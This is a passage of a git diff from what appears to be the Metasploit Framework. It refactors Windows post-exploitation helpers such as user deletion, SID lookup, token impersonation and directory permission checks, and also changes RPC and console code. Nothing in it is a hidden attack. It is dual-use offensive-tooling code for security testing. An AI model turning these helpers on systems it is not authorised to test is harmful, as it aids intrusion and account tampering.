+              pointer = session.railgun.util.unpack_pointer(dc_info['DomainName'])
+              domain = session.railgun.util.read_string(pointer)
+            end
+          ensure
+            session.railgun.netapi32.NetApiBufferFree(dc_info_addr)
+          end
 
-    begin
-      dc_info_addr = result['DomainControllerInfo']
-      unless dc_info_addr == 0
-        dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr)
-        pointer = session.railgun.util.unpack_pointer(dc_info['DomainName'])
-        domain = session.railgun.util.read_string(pointer)
-      end
-    ensure
-      session.railgun.netapi32.NetApiBufferFree(dc_info_addr)
-    end
+          domain
+        end
 
-    domain
-  end
+        ##
+        # delete_user(username, server_name = nil)
+        #
+        # Summary:
+        #   Deletes a user account from the given server (or local if none given)
+        #
+        # Parameters
+        #   username    - The username of the user to delete (not-qualified, e.g. BOB)
+        #   server_name - DNS or NetBIOS name of remote server on which to delete user
+        #
+        # Returns:
+        #   One of the following:
+        #      :success          - Everything went as planned
+        #      :invalid_server   - The server name provided was invalid
+        #      :not_on_primary   - Operation allowed only on domain controller
+        #      :user_not_found   - User specified does not exist on the given server
+        #      :access_denied    - You do not have permission to delete the given user
+        #
+        #   OR nil if there was an exceptional Windows error (example: ran out of memory)
+        #
+        # Caveats:
+        #   nil is returned if there is an *exceptional* Windows error. That error is printed.
+        #   Everything other than ':success' signifies failure
+        ##
+        def delete_user(username, server_name = nil)
+          deletion = client.railgun.netapi32.NetUserDel(server_name, username)
 
-  ##
-  # delete_user(username, server_name = nil)
-  #
-  # Summary:
-  #   Deletes a user account from the given server (or local if none given)
-  #
-  # Parameters
-  #   username    - The username of the user to delete (not-qualified, e.g. BOB)
-  #   server_name - DNS or NetBIOS name of remote server on which to delete user
-  #
-  # Returns:
-  #   One of the following:
-  #      :success          - Everything went as planned
-  #      :invalid_server   - The server name provided was invalid
-  #      :not_on_primary   - Operation allowed only on domain controller
-  #      :user_not_found   - User specified does not exist on the given server
-  #      :access_denied    - You do not have permission to delete the given user
-  #
-  #   OR nil if there was an exceptional windows error (example: ran out of memory)
-  #
-  # Caveats:
-  #   nil is returned if there is an *exceptional* windows error. That error is printed.
-  #   Everything other than ':success' signifies failure
-  ##
-  def delete_user(username, server_name = nil)
-    deletion = client.railgun.netapi32.NetUserDel(server_name, username)
+          # http://msdn.microsoft.com/en-us/library/aa370674.aspx
+          case deletion['return']
+          when 2221 # NERR_UserNotFound
+            return :user_not_found
+          when 2351 # NERR_InvalidComputer
+            return :invalid_server
+          when 2226 # NERR_NotPrimary
+            return :not_on_primary
+          when client.railgun.const('ERROR_ACCESS_DENIED')
+            return :access_denied
+          when 0
+            return :success
+          else
+            error = deletion['GetLastError']
+            if error != 0
+              print_error "Unexpected Windows System Error #{error}"
+            else
+              # Uh... we shouldn't be here
+              print_error "DeleteUser unexpectedly returned #{deletion['return']}"
+            end
+          end
 
-    #http://msdn.microsoft.com/en-us/library/aa370674.aspx
-    case deletion['return']
-    when 2221 # NERR_UserNotFound
-      return :user_not_found
-    when 2351 # NERR_InvalidComputer
-      return :invalid_server
-    when 2226 # NERR_NotPrimary
-      return :not_on_primary
-    when client.railgun.const('ERROR_ACCESS_DENIED')
-      return :access_denied
-    when 0
-      return :success
-    else
-      error = deletion['GetLastError']
-      if error != 0
-        print_error "Unexpected Windows System Error #{error}"
-      else
-        # Uh... we shouldn't be here
-        print_error "DeleteUser unexpectedly returned #{deletion['return']}"
-      end
-    end
+          # If we got here, then something above failed
+          nil
+        end
 
-    # If we got here, then something above failed
-    return nil
-  end
+        ##
+        # resolve_sid(sid, system_name = nil)
+        #
+        # Summary:
+        #   Retrieves the name, domain, and type of account for the given sid
+        #
+        # Parameters:
+        #   sid         - A SID string (e.g. S-1-5-32-544)
+        #   system_name - Where to search. If nil, first local system then trusted DCs
+        #
+        # Returns:
+        #   {
+        #     name:   account name (e.g. "SYSTEM")
+        #     domain: domain where the account name was found. May have values such as
+        #             the work station's name, BUILTIN, NT AUTHORITY, or an empty string
+        #     type:   one of :user, :group, :domain, :alias, :well_known_group,
+        #             :deleted_account, :invalid, :unknown, :computer
+        #     mapped: There was a mapping found for the SID
+        #   }
+        #
+        #   OR nil if there was an exceptional Windows error (example: ran out of memory)
+        #
+        # Caveats:
+        #   If a valid mapping is not found, only { mapped: false } will be returned
+        #   nil is returned if there is an *exceptional* Windows error. That error is printed.
+        #   If an invalid system_name is provided, there will be a Windows error and nil returned
+        ##
+        def resolve_sid(sid, system_name = nil)
+          adv = client.railgun.advapi32
 
+          # Second param is the size of the buffer where the pointer will be written
+          # In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
+          conversion = adv.ConvertStringSidToSidA(sid, 4)
 
-  ##
-  # resolve_sid(sid, system_name = nil)
-  #
-  # Summary:
-  #   Retrieves the name, domain, and type of account for the given sid
-  #
-  # Parameters:
-  #   sid         - A SID string (e.g. S-1-5-32-544)
-  #   system_name - Where to search. If nil, first local system then trusted DCs
-  #
-  # Returns:
-  #   {
-  #     :name   => account name (e.g. "SYSTEM")
-  #     :domain => domain where the account name was found. May have values such as
-  #                the work station's name, BUILTIN, NT AUTHORITY, or an empty string
-  #     :type   => one of :user, :group, :domain, :alias, :well_known_group,
-  #                :deleted_account, :invalid, :unknown, :computer
-  #     :mapped => There was a mapping found for the SID
-  #   }
-  #
-  #   OR nil if there was an exceptional windows error (example: ran out of memory)
-  #
-  # Caveats:
-  #   If a valid mapping is not found, only { :mapped => false } will be returned
-  #   nil is returned if there is an *exceptional* windows error. That error is printed.
-  #   If an invalid system_name is provided, there will be a windows error and nil returned
-  ##
-  def resolve_sid(sid, system_name = nil)
-    adv = client.railgun.advapi32;
+          # If the call failed, handle errors accordingly.
+          unless conversion['return']
+            error = conversion['GetLastError']
 
-    # Second param is the size of the buffer where the pointer will be written
-    # In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
-    conversion = adv.ConvertStringSidToSidA(sid, 4)
+            case error
+            when client.railgun.const('ERROR_INVALID_SID')
+              # An invalid SID was supplied
+              return { type: :invalid, mapped: false }
+            when client.railgun.const('ERROR_NONE_MAPPED')
+              # There were no accounts associated with this SID
+              return { mapped: false }
+            else
+              print_error "Unexpected Windows error #{error} resolving SID #{sid}"
+              return nil
+            end
+          end
 
-    # If the call failed, handle errors accordingly.
-    unless conversion['return']
-      error = conversion['GetLastError']
+          psid = conversion['pSid']
 
-      case error
-      when client.railgun.const('ERROR_INVALID_SID')
-        # An invalid SID was supplied
-        return { :type => :invalid, :mapped => false }
-      else
-        print_error "Unexpected windows error #{error}"
-        return nil
-      end
-    end
+          # Begin/Ensure so we free the pSid buffer...
+          begin
+            # A reference to the SID data structure. Generally needed when working with sids
 
-    psid = conversion['pSid']
+            # http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
+            lp_name = lp_referenced_domain_name = 100
+            cch_name = cch_referenced_domain_name = 100
+            lookup = adv.LookupAccountSidA(
+              system_name,
+              psid,
+              lp_name,
+              cch_name,
+              lp_referenced_domain_name,
+              cch_referenced_domain_name,
+              1
+            )
 
-    # Begin/Ensure so we free the pSid buffer...
-    begin
-      # A reference to the SID data structure. Generally needed when working with sids
+            if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
+              lp_name = cch_name = lookup['cchName']
+              lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
 
-      # http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
-      lp_name = lp_referenced_domain_name = 100
-      cch_name = cch_referenced_domain_name = 100
-      lookup = adv.LookupAccountSidA(system_name,
-                                    psid,
-                                    lp_name,
-                                    cch_name,
-                                    lp_referenced_domain_name,
-                                    cch_referenced_domain_name,
-                                    1)
+              lookup = adv.LookupAccountSidA(
+                system_name,
+                psid,
+                lp_name,
+                cch_name,
+                lp_referenced_domain_name,
+                cch_referenced_domain_name,
+                1
+              )
 
-      if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
-        lp_name = cch_name = lookup['cchName']
-        lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
+            elsif !lookup['return']
+              print_error "Unexpected Windows error #{lookup['GetLastError']}"
+              return nil
+            end
+          ensure
+            # We no longer need the sid so free it.
+            adv.FreeSid(psid)
+          end
 
-        lookup = adv.LookupAccountSidA(system_name,
-                                      psid,
-                                      lp_name,
-                                      cch_name,
-                                      lp_referenced_domain_name,
-                                      cch_referenced_domain_name,
-                                      1)
-      elsif !lookup['return']
-        print_error "Unexpected windows error #{lookup['GetLastError']}"
-        return nil
-      end
-    ensure
-      # We no longer need the sid so free it.
-      adv.FreeSid(psid)
-    end
+          # If the call failed, handle errors accordingly.
+          unless lookup['return']
+            error = lookup['GetLastError']
 
-    # If the call failed, handle errors accordingly.
-    unless lookup['return']
-      error = lookup['GetLastError']
+            case error
+            when client.railgun.const('ERROR_INVALID_PARAMETER')
+              # Unless the railgun call is broken, this means revision is wrong
+              return { type: :invalid }
+            when client.railgun.const('ERROR_NONE_MAPPED')
+              # There were no accounts associated with this SID
+              return { mapped: false }
+            else
+              print_error "Unexpected Windows error #{error} resolving SID #{sid}"
+              return nil
+            end
+          end
 
-      case error
-      when client.railgun.const('ERROR_INVALID_PARAMETER')
-        # Unless the railgun call is broken, this means revision is wrong
-        return { :type => :invalid }
-      when client.railgun.const('ERROR_NONE_MAPPED')
-        # There were no accounts associated with this SID
-        return { :mapped => false }
-      else
-        print_error "Unexpected windows error #{error}"
-        return nil
-      end
-    end
+          # peUse is the enum "SID_NAME_USE"
+          sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
 
-    # peUse is the enum "SID_NAME_USE"
-    sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
+          return {
+            name:   lookup['Name'],
+            domain: lookup['ReferencedDomainName'],
+            type:   sid_type,
+            mapped: true
+          }
+        end
 
-    return {
-      :name   => lookup['Name'],
-      :domain => lookup['ReferencedDomainName'],
-      :type   => sid_type,
-      :mapped => true
-    }
-  end
+        private
 
-  private
+        ##
+        # Converts a WinAPI's SID_NAME_USE enum to a symbol
+        # Symbols are (in order) :user, :group, :domain, :alias, :well_known_group,
+        #                        :deleted_account, :invalid, :unknown, :computer
+        ##
+        def lookup_SID_NAME_USE(enum_value)
+          [
+            # SidTypeUser = 1
+            :user,
+            # SidTypeGroup,
+            :group,
+            # SidTypeDomain,
+            :domain,
+            # SidTypeAlias,
+            :alias,
+            # SidTypeWellKnownGroup,
+            :well_known_group,
+            # SidTypeDeletedAccount,
+            :deleted_account,
+            # SidTypeInvalid,
+            :invalid,
+            # SidTypeUnknown,
+            :unknown,
+            # SidTypeComputer,
+            :computer,
+            # SidTypeLabel
+            :integrity_label
+          ][enum_value - 1]
+        end
 
-  ##
-  # Converts a WinAPI's SID_NAME_USE enum to a symbol
-  # Symbols are (in order) :user, :group, :domain, :alias, :well_known_group,
-  #                        :deleted_account, :invalid, :unknown, :computer
-  ##
-  def lookup_SID_NAME_USE(enum_value)
-    [
-      # SidTypeUser = 1
-      :user,
-      # SidTypeGroup,
-      :group,
-      #SidTypeDomain,
-      :domain,
-      #SidTypeAlias,
-      :alias,
-      #SidTypeWellKnownGroup,
-      :well_known_group,
-      #SidTypeDeletedAccount,
-      :deleted_account,
-      #SidTypeInvalid,
-      :invalid,
-      #SidTypeUnknown,
-      :unknown,
-      #SidTypeComputer,
-      :computer,
-      #SidTypeLabel
-      :integrity_label
-    ][enum_value - 1]
-  end
+        # Gets an impersonation token from the primary token.
+        #
+        # @return [Integer] the impersonate token handle identifier if success, nil if
+        #	fails
+        def get_imperstoken
+          adv = session.railgun.advapi32
+          tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
+          tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
+          tok_all << " | TOKEN_ADJUST_DEFAULT"
 
-  # Gets an impersonation token from the primary token.
-  #
-  # @return [Integer] the impersonate token handle identifier if success, nil if
-  #	fails
-  def get_imperstoken
-    adv =  session.railgun.advapi32
-    tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
-    tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
-    tok_all << " | TOKEN_ADJUST_DEFAULT"
+          pid = session.sys.process.open.pid
+          pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
+          pt = adv.OpenProcessToken(pr.handle, tok_all, 4) # get handle to primary token
+          it = adv.DuplicateToken(pt["TokenHandle"], 2, 4) # get an impersonation token
+          if it["return"] # if it fails return 0 for error handling
+            return it["DuplicateTokenHandle"]
+          else
+            return nil
+          end
+        end
 
-    pid = session.sys.process.open.pid
-    pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
-    pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
-    it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
-    if it["return"] #if it fails return 0 for error handling
-      return it["DuplicateTokenHandle"]
-    else
-      return nil
-    end
-  end
+        # Gets the permissions granted from the Security Descriptor of a directory
+        # to an access token.
+        #
+        # @param [String] dir the directory path
+        # @param [Integer] token the access token
+        # @return [String, nil] a String describing the permissions or nil
+        def check_dir_perms(dir, token)
+          adv = session.railgun.advapi32
+          si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
+          result = ""
 
-  # Gets the permissions granted from the Security Descriptor of a directory
-  # to an access token.
-  #
-  # @param [String] dir the directory path
-  # @param [Integer] token the access token
-  # @return [String, nil] a String describing the permissions or nil
-  def check_dir_perms(dir, token)
-    adv =  session.railgun.advapi32
-    si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
-    result = ""
+          # define generic mapping structure
+          gen_map = [0, 0, 0, 0]
+          gen_map = gen_map.pack("V")
+          buffer_size = 500
 
-    #define generic mapping structure
-    gen_map = [0,0,0,0]
-    gen_map = gen_map.pack("V")
-    buffer_size = 500
+          # get Security Descriptor for the directory
+          f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
+          if f['return'] && f["lpnLengthNeeded"] <= buffer_size
+            sd = f["pSecurityDescriptor"]
+          elsif f['GetLastError'] == 122 # ERROR_INSUFFICIENT_BUFFER
+            sd = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
+          elsif f['GetLastError'] == 2
+            vprint_error("The system cannot find the file specified: #{dir}")
+            return nil
+          else
+            vprint_error("#{f['ErrorMessage']}: #{dir}")
+            return nil
+          end
 
-    #get Security Descriptor for the directory
-    f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
-    if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
-      sd = f["pSecurityDescriptor"]
-    elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
-      f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
-    elsif (f['GetLastError'] == 2)
-      vprint_error("The system cannot find the file specified: #{dir}")
-      return nil
-    else
-      vprint_error("#{f['ErrorMessage']}: #{dir}")
-      return nil
-    end
+          # check for write access, called once to get buffer size
+          a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
+          len = a["PrivilegeSetLength"]
 
-    #check for write access, called once to get buffer size
-    a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
-    len = a["PrivilegeSetLength"]
+          r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
+          return nil if !r["return"]
+          result << "R" if r["GrantedAccess"] > 0
 
-    r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
-    if !r["return"] then return nil end
-    if r["GrantedAccess"] > 0 then result << "R" end
+          w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
+          return nil if !w["return"]
+          result << "W" if w["GrantedAccess"] > 0
 
-    w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
-    if !w["return"] then return nil end
-    if w["GrantedAccess"] > 0 then result << "W" end
-
-    result
-  end
-
-end # Accounts
-end # Windows
-end # Post
+          result
+        end
+      end # Accounts
+    end # Windows
+  end # Post
 end # Msf
diff --git a/lib/msf/core/post/windows/railgun.rb b/lib/msf/core/post/windows/railgun.rb
index 841d07a90f..8038970e71 100644
--- a/lib/msf/core/post/windows/railgun.rb
+++ b/lib/msf/core/post/windows/railgun.rb
@@ -7,10 +7,10 @@ module Windows
 module Railgun
 
   # Go through each dll and add a corresponding convenience method of the same name
-  Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun::BUILTIN_DLLS['windows'].each do |api|
+  Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun::BUILTIN_LIBRARIES['windows'].each do |api|
     # We will be interpolating within an eval. We exercise due paranoia.
     unless api.to_s =~ /^\w+$/
-      print_error 'Something is seriously wrong with Railgun.BUILTIN_DLLS list'
+      print_error 'Something is seriously wrong with Railgun.BUILTIN_LIBRARIES list'
       next
     end
 
diff --git a/lib/msf/core/rpc/v10/rpc_module.rb b/lib/msf/core/rpc/v10/rpc_module.rb
index a29d367de8..418f7bd507 100644
--- a/lib/msf/core/rpc/v10/rpc_module.rb
+++ b/lib/msf/core/rpc/v10/rpc_module.rb
@@ -99,25 +99,21 @@ class RPC_Module < RPC_Base
   #  rpc.call('module.info', 'exploit', 'windows/smb/ms08_067_netapi')
   def rpc_info(mtype, mname)
     m = _find_module(mtype,mname)
-    res = {}
-
-    res['name'] = m.name
-    res['description'] = m.description
+    res = module_short_info(m)
+    res['description'] = Rex::Text.compress(m.description)
     res['license'] = m.license
     res['filepath'] = m.file_path
-    res['rank'] = m.rank.to_i
+    res['arch'] = m.arch.map { |x| x.to_s }
+    res['platform'] = m.platform.platforms.map { |x| x.to_s }
+    res['authors'] = m.author.map { |a| a.to_s }
+    res['privileged'] = m.privileged?
 
     res['references'] = []
     m.references.each do |r|
       res['references'] << [r.ctx_id, r.ctx_val]
     end
 
-    res['authors'] = []
-    m.each_author do |a|
-      res['authors'] << a.to_s
-    end
-
-    if(m.type == "exploit")
+    if m.type == 'exploit'
       res['targets'] = {}
       m.targets.each_index do |i|
         res['targets'][i] = m.targets[i].name
@@ -126,22 +122,61 @@ class RPC_Module < RPC_Base
       if (m.default_target)
         res['default_target'] = m.default_target
       end
+
+      # Some modules are a combination, which means they are actually aggressive
+      res['stance'] = m.stance.to_s.index('aggressive') ? 'aggressive' : 'passive'
     end
 
-    if(m.type == "auxiliary")
+    if m.type == 'auxiliary' || m.type == 'post'
       res['actions'] = {}
       m.actions.each_index do |i|
         res['actions'][i] = m.actions[i].name
       end
 
-      if (m.default_action)
+      if m.default_action
         res['default_action'] = m.default_action
       end
+
+      if m.type == 'auxiliary'
+        res['stance'] = m.passive? ? 'passive' : 'aggressive'
+      end
     end
 
+    opts = {}
+    m.options.each_key do |k|
+      o = m.options[k]
+      opts[k] = {
+        'type'     => o.type,
+        'required' => o.required,
+        'advanced' => o.advanced,
+        'desc'     => o.desc
+      }
+
+      opts[k]['default'] = o.default unless o.default.nil?
+      opts[k]['enums'] = o.enums if o.enums.length > 1
+    end
+    res['options'] = opts
+
     res
   end
 
+  def module_short_info(m)
+    res = {}
+    res['type'] = m.type
+    res['name'] = m.name
+    res['fullname'] = m.fullname
+    res['rank'] = RankingName[m.rank].to_s
+    res['disclosuredate'] = m.disclosure_date.nil? ? "" : m.disclosure_date.strftime("%Y-%m-%d")
+    res
+  end
+
+  def rpc_search(match)
+    matches = []
+    self.framework.search(match).each do |m|
+      matches << module_short_info(m)
+    end
+    matches
+  end
 
   # Returns the compatible payloads for a specific exploit.
   #
@@ -386,7 +421,7 @@ class RPC_Module < RPC_Base
 
       # How to warn?
       #if exeopts[:fellback]
-      #	$stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}")
+      #  $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}")
       #end
 
       { "encoded" => output.to_s }
diff --git a/lib/msf/core/rpc/v10/rpc_session.rb b/lib/msf/core/rpc/v10/rpc_session.rb
index 11ae24775b..9a3804b2a5 100644
--- a/lib/msf/core/rpc/v10/rpc_session.rb
+++ b/lib/msf/core/rpc/v10/rpc_session.rb
@@ -46,7 +46,8 @@ class RPC_Session < RPC_Base
         'username'     => s.username.to_s,
         'uuid'         => s.uuid.to_s,
         'exploit_uuid' => s.exploit_uuid.to_s,
-        'routes'       => s.routes.join(",")
+        'routes'       => s.routes.join(","),
+        'arch'         => s.arch.to_s
       }
       if(s.type.to_s == "meterpreter")
         res[s.sid]['platform'] = s.platform.to_s
diff --git a/lib/msf/core/rpc/v10/service.rb b/lib/msf/core/rpc/v10/service.rb
index 431bfc100a..aba934dd3e 100644
--- a/lib/msf/core/rpc/v10/service.rb
+++ b/lib/msf/core/rpc/v10/service.rb
@@ -76,6 +76,7 @@ class Service
 
   def stop
     self.service.stop
+    self.service.deref
   end
 
   def wait
diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb
index f781f2864b..2de1be2a68 100644
--- a/lib/msf/core/session.rb
+++ b/lib/msf/core/session.rb
@@ -214,8 +214,9 @@ module Session
 
     dstr  = sprintf("%.4d%.2d%.2d", dt.year, dt.mon, dt.mday)
     rhost = session_host.gsub(':', '_')
+    sname = name.to_s.gsub(/\W+/,'_')
 
-    "#{dstr}_#{rhost}_#{type}"
+    "#{dstr}_#{sname}_#{rhost}_#{type}"
   end
 
   #
diff --git a/lib/msf/ui/console/command_dispatcher.rb b/lib/msf/ui/console/command_dispatcher.rb
index 32fea80cf8..6f4d05180d 100644
--- a/lib/msf/ui/console/command_dispatcher.rb
+++ b/lib/msf/ui/console/command_dispatcher.rb
@@ -1,5 +1,5 @@
 # -*- coding: binary -*-
-
+require 'msf/ui/console/command_dispatcher/common'
 module Msf
 module Ui
 module Console
diff --git a/lib/msf/ui/console/command_dispatcher/auxiliary.rb b/lib/msf/ui/console/command_dispatcher/auxiliary.rb
index 32efa7a978..a568d4446e 100644
--- a/lib/msf/ui/console/command_dispatcher/auxiliary.rb
+++ b/lib/msf/ui/console/command_dispatcher/auxiliary.rb
@@ -96,7 +96,7 @@ class Auxiliary
     }
 
     # Always run passive modules in the background
-    if (mod.passive or mod.passive_action?(action))
+    if (mod.passive || mod.passive_action?(action || mod.default_action))
       jobify = true
     end
 
@@ -131,8 +131,8 @@ class Auxiliary
       return false
     end
 
-    if (jobify)
-      print_status("Auxiliary module running as background job")
+    if (jobify && mod.job_id)
+      print_status("Auxiliary module running as background job #{mod.job_id}.")
     else
       print_status("Auxiliary module execution completed")
     end
diff --git a/lib/msf/ui/console/command_dispatcher/common.rb b/lib/msf/ui/console/command_dispatcher/common.rb
new file mode 100644
index 0000000000..f9a5cc9201
--- /dev/null
+++ b/lib/msf/ui/console/command_dispatcher/common.rb
@@ -0,0 +1,147 @@
+# -*- coding: binary -*-
+
+require 'rexml/document'
+require 'rex/parser/nmap_xml'
+require 'msf/core/db_export'
+
+module Msf
+module Ui
+module Console
+module CommandDispatcher
+
+  # These are functions that are used in two or more command dispatchers.
+
+module Common
+  
+  # Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+
+  #
+  # @note This modifies +host_ranges+ in place
+  #
+  # @param arg [String] The thing to turn into a RangeWalker
+  # @param host_ranges [Array] The array of ranges to append
+  # @param required [Boolean] Whether an empty +arg+ should be an error
+  # @return [Boolean] true if parsing was successful or false otherwise
+  def arg_host_range(arg, host_ranges, required=false)
+    if (!arg and required)
+      print_error("Missing required host argument")
+      return false
+    end
+    begin
+      rw = Rex::Socket::RangeWalker.new(arg)
+    rescue
+      print_error("Invalid host parameter, #{arg}.")
+      return false
+    end
+
+    if rw.valid?
+      host_ranges << rw
+    else
+      print_error("Invalid host parameter, #{arg}.")
+      return false
+    end
+    return true
+  end
+  
+  #
+  # Parse +arg+ into an array of ports and append the result into +port_ranges+
+  #
+  # Returns true if parsing was successful or nil otherwise.
+  #
+  # NOTE: This modifies +port_ranges+
+  #
+  def arg_port_range(arg, port_ranges, required=false)
+    if (!arg and required)
+      print_error("Argument required for -p")
+      return
+    end
+    begin
+      port_ranges << Rex::Socket.portspec_to_portlist(arg)
+    rescue
+      print_error("Invalid port parameter, #{arg}.")
+      return
+    end
+    return true
+  end
+  
+  #
+  # Set RHOSTS in the +active_module+'s (or global if none) datastore from an array of addresses
+  #
+  # This stores all the addresses to a temporary file and utilizes the
+  # <pre>file:/tmp/filename</pre> syntax to confer the addrs.  +rhosts+
+  # should be an Array.  NOTE: the temporary file is *not* deleted
+  # automatically.
+  #
+  def set_rhosts_from_addrs(rhosts)
+    if rhosts.empty?
+      print_status("The list is empty, cowardly refusing to set RHOSTS")
+      return
+    end
+    if active_module
+      mydatastore = active_module.datastore
+    else
+      # if there is no module in use set the list to the global variable
+      mydatastore = self.framework.datastore
+    end
+
+    if rhosts.length > 5
+      # Lots of hosts makes 'show options' wrap which is difficult to
+      # read, store to a temp file
+      rhosts_file = Rex::Quickfile.new("msf-db-rhosts-")
+      mydatastore['RHOSTS'] = 'file:'+rhosts_file.path
+      # create the output file and assign it to the RHOSTS variable
+      rhosts_file.write(rhosts.join("\n")+"\n")
+      rhosts_file.close
+    else
+      # For short lists, just set it directly
+      mydatastore['RHOSTS'] = rhosts.join(" ")
+    end
+
+    print_line "RHOSTS => #{mydatastore['RHOSTS']}"
+    print_line
+  end
+
+  def show_options(mod) # :nodoc:
+    mod_opt = Serializer::ReadableText.dump_options(mod, '   ')
+    print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
+
+    # If it's an exploit and a payload is defined, create it and
+    # display the payload's options
+    if (mod.exploit? and mod.datastore['PAYLOAD'])
+      p = framework.payloads.create(mod.datastore['PAYLOAD'])
+
+      if (!p)
+        print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
+        return
+      end
+
+      p.share_datastore(mod.datastore)
+
+      if (p)
+        p_opt = Serializer::ReadableText.dump_options(p, '   ')
+        print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
+      end
+    end
+
+    # Print the selected target
+    if (mod.exploit? and mod.target)
+      mod_targ = Serializer::ReadableText.dump_exploit_target(mod, '   ')
+      print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0)
+    end
+
+    # Print the selected action
+    if mod.kind_of?(Msf::Module::HasActions) && mod.action
+      mod_action = Serializer::ReadableText.dump_module_action(mod, '   ')
+      print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0)
+    end
+
+    # Uncomment this line if u want target like msf2 format
+    #print("\nTarget: #{mod.target.name}\n\n")
+  end
+  
+  
+end
+
+end
+end
+end
+end
diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb
index 265ca82f89..0cbc9416f5 100644
--- a/lib/msf/ui/console/command_dispatcher/core.rb
+++ b/lib/msf/ui/console/command_dispatcher/core.rb
@@ -41,7 +41,7 @@ class Core
     "-c"  => [ true,  "Run a command on the session given with -i, or all"             ],
     "-C"  => [ true,  "Run a Meterpreter Command on the session given with -i, or all" ],
     "-h"  => [ false, "Help banner"                                                    ],
-    "-i"  => [ true,  "Interact with the supplied session ID   "                       ],
+    "-i"  => [ true,  "Interact with the supplied session ID"                          ],
     "-l"  => [ false, "List all active sessions"                                       ],
     "-v"  => [ false, "List sessions in verbose mode"                                  ],
     "-q"  => [ false, "Quiet mode"                                                     ],
@@ -51,7 +51,9 @@ class Core
     "-r"  => [ false, "Reset the ring buffer for the session given with -i, or all"    ],
     "-u"  => [ true,  "Upgrade a shell to a meterpreter session on many platforms"     ],
     "-t"  => [ true,  "Set a response timeout (default: 15)"                           ],
-    "-x" =>  [ false, "Show extended information in the session table"                 ])
+    "-S"  => [ true,  "Row search filter."                                             ],
+    "-x" =>  [ false, "Show extended information in the session table"                 ],
+    "-n" =>  [ true,  "Name or rename a session by ID"                                 ])
 
   @@threads_opts = Rex::Parser::Arguments.new(
     "-h" => [ false, "Help banner."                                   ],
@@ -85,6 +87,10 @@ class Core
     "-k" => [ true,  "Keep (include) arg lines at start of output."   ],
     "-c" => [ false, "Only print a count of matching lines."          ])
 
+  @@search_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner."                                   ],
+    "-S" => [ true, "Row search filter."                              ])
+
   @@history_opts = Rex::Parser::Arguments.new(
     "-h" => [ false, "Help banner."                                   ],
     "-a" => [ false, "Show all commands in history."                  ],
@@ -95,7 +101,6 @@ class Core
     "-h" => [ false, "Help banner."                                   ],
     "-e" => [ true,  "Expression to evaluate."                        ])
 
-
   # Returns the list of commands supported by this command dispatcher
   def commands
     {
@@ -134,10 +139,9 @@ class Core
   def initialize(driver)
     super
 
-    @dscache = {}
     @cache_payloads = nil
     @previous_module = nil
-    @module_name_stack = []
+    @previous_target = nil
     @history_limit = 100
   end
 
@@ -171,9 +175,6 @@ class Core
     driver.update_prompt
   end
 
-
-
-
   def cmd_cd_help
     print_line "Usage: cd <directory>"
     print_line
@@ -869,10 +870,12 @@ class Core
 
     when "add", "remove", "del"
       subnet = args.shift
-      netmask = nil
-      if subnet
